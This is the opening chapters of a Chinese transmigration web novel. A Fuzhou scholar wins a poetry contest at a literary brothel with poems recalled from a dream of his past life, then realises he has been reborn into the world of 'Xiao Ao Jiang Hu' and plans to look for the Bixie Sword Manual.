《游嬉江湖》 第一章 福州向阳巷 福州的四月天,正是春光烂漫的季节。 一向没什么烟火气的向阳巷老街,这时却有好几个书生打扮的青年人在一户宅子门前盘桓。 向阳巷本来都是一些达官显贵,富商巨贾的家宅,可这里的院落毕竟都小了些,这些贵人发达之后就都搬到了更宽敞更显贵的宅院里。 这里留下的多半都是负责日常打扫的仆役,而且大多也不常驻,只是每个月来几天,维持院落不颓败罢了。 所以当这伙人出现在这老巷子里,但凡屋里有人的都会出门来看上一眼,见到这场景大概也就知道,是来了新邻居。 一阵敲门声之后,那宅子内出来一人,同样是头戴方巾,身穿素袍一副学子摸样。 “子云兄,你真是好生不地道,怎么搬来了福州也不跟我等说明。害得我跟弘毅兄几人还去你乡下的草庐找你,实在该打。” “不器兄,弘毅兄,诸位,实在是抱歉。小弟也是刚搬进此处的族中老宅,本来打算先洒扫一番,再去拜见各位兄台,哪想到?” “好你个陈子云,这还当我们是同窗好友吗?既然是乔迁,自然要早早通知我们,难道我们能不帮把手。 不器兄,你说这人是不是中了案首,就看不上我们几个了。” 这位被陈子云称做弘毅的老兄,年纪不大却是满面的胡须,声音也是异常的洪亮,要不是脸上还算白净,就好比个猛张飞的形象。 “弘毅兄,弘毅兄,你这不是折煞小弟吗,几位兄台的同窗之谊哪里是说忘就能忘的。” 陈子云连连拱手,表示歉意。 “哈哈哈,弘毅兄,稍安勿躁,想来子云不是这般人。” 那名为不器的书生笑呵呵的解释了一句。 “你们几个,还不进去给子云兄帮忙收拾。” 叫不器书生吩咐了随着他们来的几个小厮道。 一众小厮跟陈子云见了个礼,就从侧面进了宅子。 “福伯,先赶紧擦一张桌子几张椅子出来,有客到了。” 陈子云也连忙转头吩咐自己的老仆人道。 被陈子云称做福伯的老仆人,本来正在院子里的井中打水,听见自己主人吩咐,连忙就往客厅去了。 陈子云,名英,字子云,幼年成孤,这老仆人是陈氏家族里派遣来照顾年幼的他的。 陈氏一族在福州也算是数得着的大族,现在虽然没有人在朝中当官,但是族谱上记载着,从汉末开始他们家族便已经存在,最辉煌的时候还有人官至极品。他们福州这一支往上了数也是能跟那位《登幽州台歌》的陈子昂,陈伯玉扯上关系。 陈子云虽一直不怎么信这些,但族中长辈对于子弟们的进学确实是上心的,乡里也有好些个出生陈氏家族的举人、秀才。 他现在刚搬进来的这宅子,就是一位陈氏家族里的举人长辈的老宅,见他得了案首赠送给他的。 不过现在虽然是白送的,可这份情却是要记下的,以后更是要还的,要不然就算他陈子云以后封侯拜相,在这乡里的名声也只能是个不讲情分的。 好在陈子云从小就聪明,尤其是在读书进学这一项上更是出众。陈氏宗族里的老一辈们之所以愿意在他身上费心思,三分是看在她父母的情分上,七分也是看中了他的才学。 十八岁的秀才,还是案首,这已经是非常了不起的成就了。大多数人考了一辈子也没能考上,所以在考场上往往能看到那些已经白发苍苍的,还跟自己孙子辈的人一起考试的。 但一旦中了秀才好处也是多的,不但能免除徭役田税、见官不跪、遇罪不轻易处罚、出门游学的权利,而且像陈子云这样出类拔萃的,公家还会每个月提供粮食。 这也意味着陈子云从此以后也不用再依靠陈氏族里出公粮养活他了,甚至还能借着他的名头免了族里的好些税赋。 虽然这在明面上是不合法的,但是作为潜规则,家族里把一些田产挂到陈子云的名下,公家也不会说什么,毕竟大家都是这么做的。 要不然为什么这么多人要靠功名,为什么陈氏家族愿意养陈子云这个父母双亡的孤儿,投资不就是看中了后期的回报吗! 陈子云陪着几位找上门来的同窗在有些陈旧的客厅里聊着,从一开始恭喜他中了案首,聊到这宅院的添置,随后就聊到了福州城西门附近新开那名为“聚贤雅叙”的青楼。 至此话头就再也收不回来了,尤其是那位弘毅老兄,眼里都开始泛起红光了。这道不是说这位仁兄是多么的好色,这聚贤雅叙也不是寻常的妓院。 更像是文人墨客聚会休闲的场所,但是才子佳人古往今来都是美谈,文人聚集的地方当然也少不了几位,懂得弹琴赋诗的红粉知己相配,要不然岂不是无趣。 而这样的地方,不但人美,就连酒水,果品,佳肴也都是一等一的。这样的地方经营也不全看人钱财,他们打着的名号也是附庸风雅。 要是一般的商贾去了,当然也能上楼,但这消费却是真的挥金如土。而要是像陈子云这般的当年案首过去,不但可能分文不收,要是能有佳作,或者题词一首,甚至还有润笔费。 要是遇到与哪位懂诗词的红粉知音,说不准还能被招为入幕之宾,当然这也是少数。毕竟这种青楼里面的女子各个培养都是不易的,一般人他们可不会看得上眼。 “子云兄,这天色也不早了,我们索性就去聚贤雅叙吧,听说那里的‘醉红尘’可是难得的佳酿。 今天就由小弟做东,算是给子云兄恭贺乔迁之喜了,你看如何?” 这位弘毅兄不但长的像张飞,连好酒的名头也是一般,在他们这个圈子里是出了名的无酒不欢。 “弘毅兄此言不差,而且小弟还听说,聚贤雅叙那位如烟姑娘,真的是如烟如雾,气质轻灵,不似凡间人物。” 不器书生也有些向往的说道。 另外几人也是随声附和,他们这个小圈子平时都是以弘毅与不器两人为首,主要也是这两人家里富裕,出手又大方,时不时的都会出资招待几人。 而陈子云因为才学实在是高出他们一等,所以在这个小圈子里的地位又有些特殊。 众人也都不是蠢人,明显知道他将来不会是池中之物,虽然现在龙游浅滩,但终究会有飞龙在天的时候。 所以众人对陈子云的敬重,可能还在弘毅与不器之上,但凡有什么学业上的问题,或者需要动心思的地方也会向他讨教。这一来二去,自然而然的陈子云就成了小圈子的中心。 “如此,那小弟也跟着几位去见识一番。” 陈子云这时当然也不会去扫他人之兴致,吩咐了福伯几句,就随着众人出门了。 第二章 聚贤雅叙 话说回来,陈子云在考中秀才之前,这福州城里也着实没来过几趟。不管是文房用品,还是吃穿用度,一般都是福伯来城里采买。 他要做的就是在书院与自己的几间草庐之间,一心读书不理他物。偶尔几次进城也是为了参加院里组织的考试。 不过考试的贡院在城东,而他们这次去的地方却是福州的西门大街附近,这可算得上是陈子云第一次来。 一路走来,身后的几人已经有些迫不及待的在憧憬聚贤雅叙的各种传言了,争论着哪一位大才留下的诗词更胜一筹,评说着哪位姑娘颜色艳压群芳。 而陈子云却是张望着,毕竟十几年基本就在乡下度过,对这繁华的福州城自然有这几分憧憬。 一条笔直的大道由青砖铺设而成,宽不下十米,足够四辆马车并排而行,而街边的各种铺面也是人流窜动,一派繁华景象。 沿着西门大道而去,一座结构雄伟的宅地坐落在那里,左右各立着一根两丈来高的旗杆,杆顶飘扬青旗。 大宅朱漆大门,门上茶杯大小的铜钉闪闪发光,门顶牌匾写着几个金漆大字,只是离的远了,陈子云看不真切。 这场景陈子云依稀觉得有些熟悉,好像是在哪里见过,可就是想不起来。念之所动,心向往之,陈子云不由自主的就往那个方向走了几步。 “子云兄,错了,子云兄,这边才是。” 弘毅走过来一把捉住了陈子云的臂膀,朝着另一个方向指了指。 “子云,聚贤雅叙在这边,这边走。” 见几位同伴那副猴急的神态,陈子云不得已先收回了心里的疑惑,打着哈哈跟几人告罪几句,也就跟着他们去了。 聚贤雅叙作为福州城里新开的顶级娱乐场所,排场不可谓不大,一个三层楼的全木建筑做门头,足足占地不下十亩。 在这个太阳还未完全落山的时候,门前已经挂起了灯笼,而这灯笼与一般的白灯笼也不同,是用红纸封的。 整座高楼都被这柔柔的红光笼罩,让人还没进门就领会到了什么是靡靡之音,昏昏之乡。 聚贤雅叙门前留着一大块空地,这些空地是留给那些坐轿子来的老爷停轿子的,旁边还有几个搭起来的茶室,那是给一起来的侍从轿夫歇脚的地方。 陈子云暗叹,难怪这聚贤雅叙一开张就这么大声势,这老板确实想的周到。 进了门,就是一个硕大的舞台,这倒是正常不过,一般青楼也有这样的配置,是给那些姑娘表演才艺用的。 可这大舞台上面还有个小舞台,这就让陈子云有些困惑了。这上面的舞台其实就是一张两米见方的木板,四个角都有一根缆绳吊着与楼里的几根大柱子相连。 “子云兄,恐怕是没见过这样的舞台吧?嘿嘿,这里可是聚贤雅叙的一大特色,一般的楼子里可是没有的。” 弘毅笑呵呵的说道,还有几分卖弄的意思。 陈子云不置可否,他了解弘毅这人的性子,不需要自己问,对方也会忍不住卖弄的。 “子云兄当然不会知道,子云兄又不是如弘毅兄一般,这福州城里的楼子,你又哪个没去过,自然不会如你这般对各个楼子里的长长短短都如数家珍。” 不器的这句话明显带着些许嘲讽的意味,可他们几人都是熟络的,都知道这位弘毅的特色,也不会介意这样的小玩笑。 “嘿嘿,过奖过奖。不过这小舞台,可又有个十分恰当的名字,唤做飞仙台。到时候会有楼里的姑娘表演一种天外飞仙的舞蹈,据说那姿态简直如天人降世一般。” 弘毅说道。 “弘毅兄,你这也太夸大了,就算这聚贤雅叙不一般,可这天外飞仙,天人降世这般的词汇实在是......就算是赵飞燕在此也不敢如此说话吧。” 人群里也明显表示不相信。 “嘿,知道你们不信,等着瞧吧,到时候惊掉你们的大牙。” 弘毅倒是也不恼,反倒是有种不予计较的大方、得意之态。 陈子云看着这吊在空中的舞台,心想不管弘毅说的是不是有些夸大,就单单能想出这样的花样,也算是别出心裁。不说别的,就是观众从下往上观看舞蹈的这个角度,啧啧,圣人原谅,非礼勿视啊。 陈子云他们来的算是早的,这会儿大厅里也只是坐了几席,正有条不紊的吃喝着。 他们几人却是在店家侍从的带领下穿过了前厅高楼,往后院去了。如果说前面是用来招待商贾之类的,那后面的雅座自然就是为他们这些舞文弄墨的才子准备的。 要不然在前厅那种喧闹的环境下,再好的才思也集中不了精神,怎么能有好的作品。 亭台楼阁,小桥流水,假山古树,这后院的设计明显也是用了心的,样式仿的是苏杭一代的园林。 其中几间轻纱遮幕的雅室之中,已经隐隐有了人头窜动,看着这些人怕是下午就已经在这里吟诗作对了。 陈子云一行人进了一个名为“鹤鸣阁”的雅座里,当即就有瓜果杯盘送上来,还有一位年过三十的半老徐娘笑脸盈盈的跟弘毅在一边说话。 这位想来就是负责招待贵宾的专用司仪之类的人物了,虽然年纪大了,但是各种接人待物却是更加熟络了,而且略微发福的身材也尽显成熟风韵。 这不,在与弘毅交谈中也是媚态十足,偶尔几处与弘毅不知是有意还是无意的身体接触,明显掌握着整个协商的主动。 等弘毅回来,看他面上已经泛红,如酒醉般的神态,众人一问才知,原来已经与那司仪商定,要了一份百两银子的配套安排。 这让几位不是很富裕的同学大是震惊,平时他们虽然也去青楼,但几人一起花费个十几两已经是够够的了,哪里会要如此许多。 要知道这个时候的物价,一两银子能买两石的大米,足够一个四口之家一个月的口粮了,这一百两银子可能就是一户普通人家十几年的总收入了。 这聚贤雅叙,当真是销金窝了。 “诸位莫扰,咱们不是有子云兄在吗!那位司仪也说了,如果咱们这里出一首能上楼的诗词,这百两白银自然是全免的。” 上楼的诗词也是青楼独有的说法,一般青楼有人做出了好的诗词,都会找人裱起来放在楼里,供人观赏品玩。 一般的好词放在一楼大厅,稍好些的放二楼,再好的就到三楼。而这上楼的意思当然不能是放在一楼里的水准,最少也要上二楼才算。 不过众人听弘毅如此说,却都是大大的松了口气,目光都望向陈子云,甚至连表情也变的好像胜券在握一般,好像只要陈子云出手就一定能成似的。 “几位也不要全然指望小弟,这诗词最讲究灵感,强求是强求不来的。如今这‘鹤鸣阁’如此美景,想必诸位也是有所感的,何不大家都各出机杼,也不枉来此一聚。” 陈子云自然不会在友人面前占尽风头,要不然这情谊怕是长久不了。 “子云兄说的是,如此我们也各自思索,来这里总不能真的就为了这‘醉红尘’,有酒无诗,也败了我们这些自负的才学。 不过先立个规矩,子云兄的才学是大家都敬佩的,你要是先出诗,到时候我们怕是无言可写了。” “没错,没错,子云兄,需在最后写才是。” “正当如此,哈哈哈哈。” 几人说说笑笑之间也就将游戏规则给定下来了。先由其他人作诗,最后再由陈子云压轴,而只要前面有人引过的典故,他也不能再引。 第三章 凌波仙舞 这其实有些在难为陈子云,毕竟在这青楼楚馆,前人做的诗词已经不少,再要出新意也是难了,再被他们这样一要求,陈子云要做出好的来,就是难上加难。 不过陈子云还是笑着点头应下了,因为他心中其实已经有了腹稿,这东西就好像是从他脑袋里突然蹦出来的。 当然诗词本来就是妙手偶得之的说法,但是他的情况却又有些不同。 从陈子云父母去世那时开始,他就一直在做一个梦,整整十年。梦里的事情他只是依稀的记得,除了一些飞天遁地的金属疙瘩,匪夷所思的高楼大厦,唯有一些精妙绝伦的诗词歌赋,精彩文章他倒是记下来一些。 诸如“人生若只如初见,何事秋风悲画扇?等闲变却故人心,却道故人心易变。” 又有“几度寻春春不遇,不见春来,那识春归处。斜日晚风杨柳渚,马头何处无飞絮。” 每每想来都是不尽的拜服,这等佳作怕也就是唐时李杜,宋时三苏才能比拟的吧。 自己偶尔抄送了几首,被自己的同窗知道,都以为是自己做的,即使自己解释是梦中所得,又哪有人肯信,还被几个好事的同窗笑话为“梦里诗仙”。 诗仙一词当然是玩笑之语,可这从梦里得诗的名头却也是在圈子里传开了,这也是当下几位好友不怕他做不来诗的缘由。 陈子云看着鹤鸣阁外人头窜动,楼里的姑娘各个姿色艳丽,体态青葱,不由得几句诗词就涌上了心头。 也不顾在座的几位同窗还在遣词酌句,仔细琢磨,就到了早就备好笔墨的书案边,将脑海里的诗句写下。 “真当是好才情,子云不如也。” 感叹了一句,就将诗稿放到了一边,等着墨迹自然干涸。 “子云兄,不是说好你最后做的吗?” “不防,只是突然有所得,这诗不会与诸位雷同,依旧是放最后。” 陈子云笑着说了一句。 “就是,就算撞上了,子云兄再做一首也不难,你们还以为‘梦里诗仙’是浪得虚名的吗!” “哈哈哈,该当如此。” 众人其实也不会真的在意谁先谁后,这里的都是知根知底的人,谁的才情高,谁的诗才好,早就是明了的事情。 自从见识了陈子云的梦中得诗的本事,他们也不会还不知高低的跟他去比较,反而是其他几个里面跟自己差不多的才是较劲的对象。 这就好比驴子只会跟另外的驴子比谁跑的快,而不会跟一匹千里马做比较一个道理,根本就不是一个档次的东西。 陈子云做好了诗,也就不再把心思放在此处,只是与同窗们说说笑笑,喝酒聊天,偶尔有几个人突然觉得自己有了佳句,吟出来,也帮着品品。 其实真正的作诗哪里是能一蹴而就的,自古都有推敲一说,一些好的词句本来就早就开始在胸中酝酿着。 只是哪天应时应景了,再加当场的特殊情况稍加修改,这样才能真的出好诗词。 有时候一首好的诗词,可能要几年的时间去修饰,就算有了初稿也会藏在心里,不停的琢磨,雕饰。 那种一蹴而就,诗如泉涌的,几乎都是为了一时的文名,故意找个场合作秀而已。不过这种事情圈子里的自然都知道,不知道的也会装着附和,毕竟文人墨客的事情,人抬人才是理所应当的。 清风细柳,红灯绿酒,随着月亮慢慢高照,后院里也传来了前厅的喧嚣,在一阵阵喝彩声中,聚贤雅叙迎来了一天中的高潮。 “子云兄,开始了,快看。” 不器指了指院中出现的一队舞姬,这些人明显的跟往来的一般姑娘不同,尤其是中间的那位一步一跨之间说不出的轻灵,好似一个用力整个人就能飞天而去似的。 “那位便是表演飞天舞的凌波姑娘,据说她真的能如古时的赵飞燕一般,在人的手掌之间跳舞。” 陈子云第一反应当然是不信的,可看着那位飘然欲仙的身姿又带着几分期待。 一声古筝轻响,像是把周遭嘈杂的喧嚣都压了下去,随即那位本来还在人群中间的凌波姑娘,直接一个越身竟然跨过了院里池塘的栏杆,往里跳去。 “呀......” 不知多少人随之惊颤,刚想出声提醒,却听得古筝一声横扫,声音嘹亮,振奋人心。 而那凌波姑娘此时却是真的凌波而立,不似凡人。 “好。” 随即是阵阵掌声响起,此时众人哪里不知,这已然是节目的开始。 只是不晓得这凌波是如何真的能凌波的,只见水天交映之下,那凌波好似嫦娥仙子在月宫中翩翩起舞。 何所谓“翩若惊鸿,婉若游龙”,看着那凌波在池塘中踏月而舞的身姿,曹子建当真不欺我。 别说其他的人,就是连陈子云这种向来修身自持的,也被这位凌波仙子的绝妙舞姿吸引的丢了神魂。 直到这位仙子在其他几位女子张开一个布帘的帮助下,一跃上了前厅楼顶,与明月并肩而立,众人才回过神来。 “嫦娥仙子,广寒宫冷,何不留人间,莫走!莫走!” 也不知是那位痴迷的看客,已经是分不清是天堂还是人间了。 不过凌波终究是走了,隐进了早就准备好的前厅二楼。在那里歇息一会儿,她还要给前厅那些看不着凌波舞的客人,表演一翻飞仙舞。 可想着那前厅的舞台,刚才虽然觉得新奇,可跟刚才那一曲凌波仙舞比起来,却是满满的俗意了。 而院内的客人似乎也如陈子云想的一般,没人会自降身份去前厅与那些商贾为伍,只是可惜了凌波仙子,竟然要为那些满身铜臭的人......真是污了她了。 “几位大才,看了我们凌波姑娘的舞,可有诗兴大发,写的几首,也好让我们楼里的姑娘开开眼界。” 那位女司仪笑着的说道,眼里都是期待的神色,这眼睛也像是在说着话。其实她一直就在留意着,是等他们这行人差不多都做好了诗才进来的。 要不然,她这话一说出口,这里却没什么作品,岂不是让这些来找乐子开心的客人反感。 “姐姐,自己看就是,诗词都在书案上,就是不知如烟姑娘何时出来。” 弘毅客气的说着,还把一把银子塞到了司仪手里,那司仪也不避讳,当着众人就收下了。 “如烟姑娘可不是什么时候都出来的,几位大才想必也知道规矩,要是没什么好诗词,可不见能请得她大架。 不过,有几位大才在,想来也是不难的,等我把这些个诗词都送去给如烟姑娘看看。” 说着便收起了书案上的诗词,又出门去了。 陈子云心想,这司仪确实也是厉害,光光两句话,就让他们这些人倍感舒心,还不忘抬高自己楼里姑娘的台面。 第四章 比诗夺魁 “子云兄,你这次的诗作可不如以往的豪情,这次恐怕要让小弟我独占鳌头了,哈哈。” 不器说道。 “哦,那道不见得。” 陈子云喝着酒,笑咪咪的说道。 他们几人早就相互看过了诗作,正如李不器所说,这次陈子云做的诗都不是他以前的风格。看起来似乎也平淡无奇了一些,所以李不器有这样的想法也是正常。 毕竟他们几个里面,除了陈子云,就是数他李不器的诗才最高,而这次来聚贤雅叙他也是早有准备的。 “子云兄,要是以往不器兄敢如此说,我杨弘毅定是会笑掉大牙,可这次...... 子云兄你这次的诗作,却是忧柔了些,全不像你昔日的风格,更像是闺中女子之作。这不会是你故意想让的吧?” 杨弘毅睁着他那双大眼睛说道。 “且看,且看。” 陈子云依旧是那副不急不躁的表情。 随后远远近近的几个雅座里,都有专门伺候的司仪拿了诗稿出来,一同送进了一座小楼里,那里就是如烟姑娘的闺房了。 当然如此数量的诗词,要做一番评比,自然不会立刻就又结果,虽然这些诗词不一定都是如烟姑娘一个人品读,但这时间的火候自然也要熬上片刻。 至于客人们则是有的在自己的雅座继续高谈阔论,也有刚好遇见临近相熟的,过去打个招呼,敬个酒。 陈子云不在此列,他来福州的次数本来就少,而且交际圈子也就在族中和这帮同窗之间。倒是李不器,杨弘毅两人作为福州的地主,时不时的要出鹤鸣阁去各个雅座里打招呼。 陈子云自斟自饮,偶尔跟临近的友人说笑两句,倒也是自在,说实话他对于所谓的如烟姑娘并没有什么太大的期待,却对方才那位凌波仙子难以忘怀。 尤其是那水中的舞,与一跃上楼的本事,让他有些惊诧,练舞能练到这种层次,想必说一句舞中翘楚也不为过了。 “出了,出了,如烟姑娘选出来了。” 小楼上传来了一声妇人的要喝声,随即一巾粉白色绸布舒展开来,上面写着的正是如烟选中的诗词。 这白绸布上,有桃花镶边刺绣,映衬着中间中间两行隽永的楷书也显得格外的俊秀,惹得人们还没细看诗文,就大赞好字。 这字却是如烟选好的诗词,又亲手誊写在上面的,不说别的光是这一手楷书,这如烟就称得上一句才女。 “读罢离骚酒一壶,残灯照影夜犹孤。 看来如梦复如幻,未审此身得似无。” 所有人自然都在有声无声的念着诗文,这诗当然是好诗,可要说好到什么份上,却是让人一时难以琢磨。 “这诗到也是一时之选,可在下还是觉得杜兄的诗更胜一筹。” “诶,柳兄过奖,若要说在下的诗超过此首也是万万不能的,只是......” 有人夸奖,自然也有人不服,自古文人相轻,无有第一,真要排个一二三四,天下又有谁会真的自甘落后的。 “不器兄,怎样,我说的吧,看诗才还是要看我们‘梦里诗仙’的,哈哈哈。” 跟陈子云一起的几位笑着跟李不器打趣着,这也是在缓解他的尴尬,别人说出来,总比他自己先承认不如要好的多。 “子云兄,果然还是你技高一筹啊。” 李不器倒也不是小肚鸡肠的人,本来陈子云的诗才就是压过他的,只是刚才他以为陈子云这次出了昏手,才想着比比。如今这结果虽然有些失望,但片刻之后也就释然了。 “各位皆是高才,如烟不过一个风尘女子,安敢当真评论各位的高低。” 一声轻灵空洞却又如天籁的女子声音传来,一个秀丽的人影映在那座小楼二楼的窗台上。 院子里随即都自然的禁了声,听那如烟姑娘又道。 “只是这位大才的这首,实在是写到了如如烟这般女子的心里,‘读罢离骚酒一壶,残灯照影夜犹孤。看来如梦复如幻,未审此身得似无。’ 这几句实乃我等这般出身女子最真实的写照,实在不由得如烟自艾自怜。” 这首诗由如烟的妙音咏诵出来,却又是别的一番滋味,不由的勾起了人们对红尘女子的爱怜之情。 “原来如此,原来如此,难怪子云兄能有如此把握,我初读这首诗总觉得哪里都有些不对,却是万万没想到子云兄是代姑娘们执笔的。 不冤,李不器输的不冤,佩服,佩服。” 李不器情绪激昂的大声的说着,还抬手对着陈子云拜了一拜。 陈子云连忙扶住,连称不敢。 “哦,原来是‘梦里诗仙’陈英,陈子云的佳作,难怪,难怪。” 这却是有些个听说过陈子云名号的书生举人过来见礼了,陈子云当然也是一一回拜,口里谦虚着。 “还请陈子云,陈公子上楼一叙。” 却是有妇人来请陈子云上楼了,众人也是笑着告辞,又几个顽皮的,眼神还故意别有用意。能来这种地方消费的都是背景和教养都不差的,自然不会真的为一个青楼女子与人动真格的。 既然诗才上比不过,那还不如交了个朋友,说不准以后还能同朝为官。到时候说起今天的事情来,也算得上是才子佳人的风流往事。 陈子云在妇人的指引上上了楼,至于李不器、杨弘毅等人已经跟他先告了辞,他们当然是不会再等陈子云了,因为他今夜必然是要留宿在聚贤雅叙了。 而有了陈子云的这首诗,这顿酒饭的花费自然也不会有了,众人算是一起不花钱的高兴了一番。 妇人给陈子云开了门,自己却是没有再进去,而是守在了门外。陈子云一进门就觉得,这里不像是个青楼女子的闺房,反而像是一个书香门第的书房。 入眼内的竟然是几个偌大的书柜,上面罗列着整整齐齐的书籍。而这些书柜的中间有一张夸阔的书案,此时正有个身穿素衣的女子,正低头俯身,认真的注视着书案上的诗文,嘴角还在轻微的蠕动。 可能是听到了妇人的关上门的声音,有些不喜的抬起了头,就像是被打扰了似的。 可这一抬头,陈子云仿佛一下子就被面前这女子拉进了一个不似人间的幻境里。 他看到一朵白云似的姑娘朝他飘来,三千青丝摇曳,黛眉星目微张,点绛红唇轻起,只听得柔情似蜜的一句“公子,陈公子?” “啊?!” 直到这仙子般的姑娘到了眼前,陈子云才被唤回魂来,这对于一个第一次逛青楼,又是第一次见如此貌美姑娘的小书生来讲也是正常。 “陈公子先过来吃杯茶吧。” 如烟没有追问陈子云为什么出神,只是巧妙的将他引到了书案边的茶几上,那里已经备好了泡着的好茶。 陈子云此刻也终于是逐渐平复了心情,眼睛故意不看如烟那迷人的身姿,将注意力放到了这别具一格的闺房中。 “陈公子似乎对我这房中的装饰很有兴趣?” 如烟将一杯茶递到陈子云手上说道。 “是啊,这里跟我意向中的......似乎有些不同。” 陈子云把青楼二字隐晦掉了。 “不过是一些附庸风雅的物件罢了,比不得陈公子这般的真才实学。” 陈子云摇摇头,看一眼那书案上放着的书册他就能知道,这些书并不是用来做装饰的,而是尝尝有人翻阅。这其中的差别,他作为一个常年手不释卷的人显然是再熟悉不过了的。 “说来,如烟其实有些好奇,陈公子是如何做出这首,这首如此刻画我等姐妹心境的诗句的?我见公子好似也不是经常出入楼里的人。” 如烟问的其实也是多数人会问的,诗为心声,要是一个人没有独特的经历,如何能用这些诗句表达出特有的情感,为赋新词强说愁那是行不通的。 “如果我告诉姑娘你,这首诗不是在下做的,而是一位如如烟姑娘这般的大才女所做,姑娘信吗?” 陈子云微笑着,也有些好奇的问道,这种事情他跟李不器他们解释了无数遍依旧没人信,虽然对于他可能这是好事,可终究觉得少了些什么。 “原来是这般,那倒是可信的。” 如烟仿佛是在自言自语。 陈子云反倒是一惊。 “姑娘,真信?” “为何要不信?” “可这......可这......” 陈子云指着书案上的诗词即有些脸红,又有些焦急,一时尽然不知道怎么接话了。 “就是不知这位姐姐是在哪里的?” “她不在此时,也不在此世。” “这是如何说?” “如烟姑娘难道就不怪在下,欺世盗名,骗了你,上了楼吗?” “是你,是他对如烟来讲又有何不相同,只是这诗却是真的,如烟只需知道这一点就够了。 红尘漂泊,公子以为如烟有的选吗?这位姐姐怕也是这般,一样吧?” 陈子云此时模模糊糊的印象里,只记得那女子是刚烈的,曾劝夫殉国,自己殉情。 “她好像是选过的,而且......” 陈子云低头却对上了那双宁静的眼眸,里面闪烁的光似乎在询问,“那位的选择是什么?” “她嫁人了,还是八抬大轿抬进门的。” “怎么会?” 是啊,怎么会,一个青楼出身的风尘女子,怎么能有资格光亮的进门。 “那她过得好吗?” 如烟似乎在问的已经不是那位了,而是在问自己的后半生,会过得好吗? “应该是不差的,我记不清楚了。” 陈子云的梦境本来就是模糊的很,何况还是这些不怎么要紧的事情。 “这是发生在哪里的事情?” “是......是在我的梦里?” “......真的?” “真的,你信吗?” “我......” 如烟看了看书案上的那首诗,她点点道。 “我信的,我愿意信的。” ...... 第五章 福威镖局 陈子云第二天很早就离开了聚贤雅叙,一路沿着西门大街走,在路边的早食摊上吃过了早点,就往向阳巷而去。 等他走到了西门大街的拐脚处,那一个富丽堂皇的大宅又出现在他的面前,前行的脚步停了下来。 往回退了几步,就向着那堂皇的朱漆大门走去,还不到大门跟前,门顶匾额写着“福威镖局”四个金漆大字,下面横书“总号”两个小字已经跃入他的眼帘。 洪水般的记忆涌来,车水马龙,钢铁巨兽,还有那飞天遁地的怪异幻境,一股脑的从深埋的梦境里跃进他的思绪里。 十年,陈子云整整做了十年的梦,如今他终于是大梦方醒,明了这里原来是《笑傲江湖》。 陈书楼也好,陈子云也罢,他终究是他,那边的二十年,这里的十八年,都是自己一天一天过来。 当成前世也好,当成来世也罢,他依然是他。 陈子云理了自己的衣衫,又往前走了几步,来到门下处,两排长凳上分坐着八名劲装结束的汉子面前,抬手行李问道:“小生陈英,敢问这福威镖局的总镖头可是姓林?” 八人见来的是一个秀才公,也连忙起身还礼,其中一个汉字对着陈子云道:“不错,我们家总镖头正是姓林,不知这位小相公可是要拖镖?” “是叫林震南吗?” 陈子云这话说的就让那八个汉子神色有些不喜了,如果不是看在他是秀才的身份上,怕是没好话。 “不错。小相公,到底有何事?” “无事了,无事了。” 陈子云神情也不知道是悲是喜,确定了自己的记忆不是自己的幻想,可心绪依旧是漂浮不定。 “嘿!” 那八个汉子其中一个见陈子云如此无礼,正想追上来理论,却被答话的那个汉子给拦住了。 “大哥?” “别多事,这人有功名在身,不能随便得罪。你忘了总镖头的教诲了,‘江湖上的事,名头占了两成,功夫占了两成,余下的六成,却要靠黑白两道的朋友们赏脸。’ 你这这样一点就着的性子,如何行的了镖。” “是,大哥。” 八个汉子又重新坐回了长凳里,不再理睬已经走远了的陈子云。 陈子云回到家里,见宅子已经开了门,福伯早早的起来了,刚搬家,这几天倒是有的他忙的了。 跟福伯打了声招呼,陈子云就回到了主房里,躺在床上脑海里都是些《辟邪剑谱》,《葵花宝典》,《吸星大法》,《独孤九剑》,《易筋经》之类的幻想。 要说陈子云对所谓的五岳剑派,日月神教之类的江湖纷争有多少兴趣是没有的,可是对于不管是现代还是如今都不曾接触过的武功秘籍却是向往至极。 虽然陈氏家族底蕴悠久,在培养自己的子弟的时候也不是一味的死读书。但是陈子云接受的君子六艺——礼、乐、射、御、书、数的教育,最多也就是让他有个比较健康的体魄,那种高来高去,摘花飞叶就能伤人的本事是万万没有的。 而现在最扰他思绪的是,他现在住的地方可是福州向阳巷,那就是说那一本为天下武林人士馋涎的《辟邪剑谱》就在隔壁啊。 看福威镖局如今还完好无损的样子,这剑谱肯定也是好好的待在那达摩像的上方,就是不知哪一户才是? 这念头一起,就再也放不下了,虽然陈子云知道自己不会做那挥剑自宫的事情,可挡不住他这一兜子的好奇心啊。 要说什么江湖争霸,那是真的不是他所向往的,以他现在的基础,中状元也不是没希望。 到时候凭借他现在远超时代的知识,不管到哪里做官都不怕做不出成绩,到时候封侯拜相也是在情理之中。 他犯得着跟一帮只知道占着山头的泥腿子拼命吗,话说回来,在陈子云的眼里,那些个以为手上掌握着几千上万人的帮派,就想染指江山的简直就是笑话。 除非这个朝代确实是到了崩溃倒台的边缘,要不然这些江湖帮派永远也不可能真的出头。 朝廷一时不管你,是因为你造成的危害还没有超过朝廷的底线,或者没有触犯士大夫阶层的根本利益。 否则管你什么华山派,嵩山派,就是所谓的武林魁首少林武当,一旦大军压境,你该灭就得灭。 古往今来,历史上灭佛灭道的王朝也不少,如今的江湖只是因为没犯到根子上的利益,所以谁也不想大动干戈而已。 “福伯,拿上几份昨天不器兄他们带来的礼物,随我去拜访各位近邻。” 陈子云是个立定了主意就从不拖沓的人,从床上利索的起身,吩咐了一句正在给花木浇水的福伯。 “好的,公子。” 福伯应声答道。 陈子云住的这间宅子在向阳巷的东首第二户,他昨天来的时候基本也看过一圈,这里大小门户有十几家。 其中三家是锁着门的,而且门锁也是锈迹斑斑,想来是长时间没有人居住了。他第一步就是来到自己靠的最近的东首第一户人家。 这里应该是住着一位看院落的妇人,昨天陈子云搬进来的时候,还来打过招呼,自称是给如今住在城东王举人的看家的管家刘氏。 “刘妈妈,在家吗?” 陈子云敲门问道。 里面先是有内门的开门声,随即传来问询:“是谁啊?” “刘妈妈,我是昨天搬来的陈英,陈子云,昨天我们见过的,今天备了一些薄礼,来拜访近邻来了。” 吱呀声中门开了,看见站在门外的陈子云,连忙笑着问候,而看到陈子云后面站着的拎着不少礼物的福伯更是客气。 “陈小相公啊,进来,赶紧进来坐坐。” “谢谢刘妈妈了,今天我只是来跟邻居们打个招呼,以后大家同住一巷,说不得要相互帮衬的。” 陈子云说着就从福伯那边接过一些礼品递给了这位刘妈妈。 “陈小相公真是折煞老妇了,您是大贵人,本应该是老妇上门请安才对的,这倒是......” 